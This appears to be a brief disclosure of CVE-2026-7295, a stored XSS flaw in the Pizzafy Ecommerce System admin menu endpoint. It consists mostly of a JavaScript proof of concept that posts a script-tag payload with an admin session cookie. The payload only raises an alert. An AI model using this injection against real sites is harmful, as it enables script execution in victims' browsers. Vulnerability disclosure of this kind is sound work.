CVE-2026-7295 Pizzafy电商系统存储型XSS漏洞

/* * PoC for CVE-2026-7295 * Target: SourceCodester Pizzafy Ecommerce System 1.0 * Endpoint: /admin/ajax.php?action=save_menu */ // Malicious payload to be injected into the 'Name' parameter let payload = '<script>alert("CVE-2026-7295 XSS")</script>'; // Simulate the vulnerable request fetch('/admin/ajax.php?action=save_menu', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'PHPSESSID=[ADMIN_SESSION_ID]' // Requires Admin session }, body: `name=${encodeURIComponent(payload)}&description=Test&price=10` }) .then(response => response.text()) .then(data => console.log(data)); // Trigger: Visit the menu page to see the alert.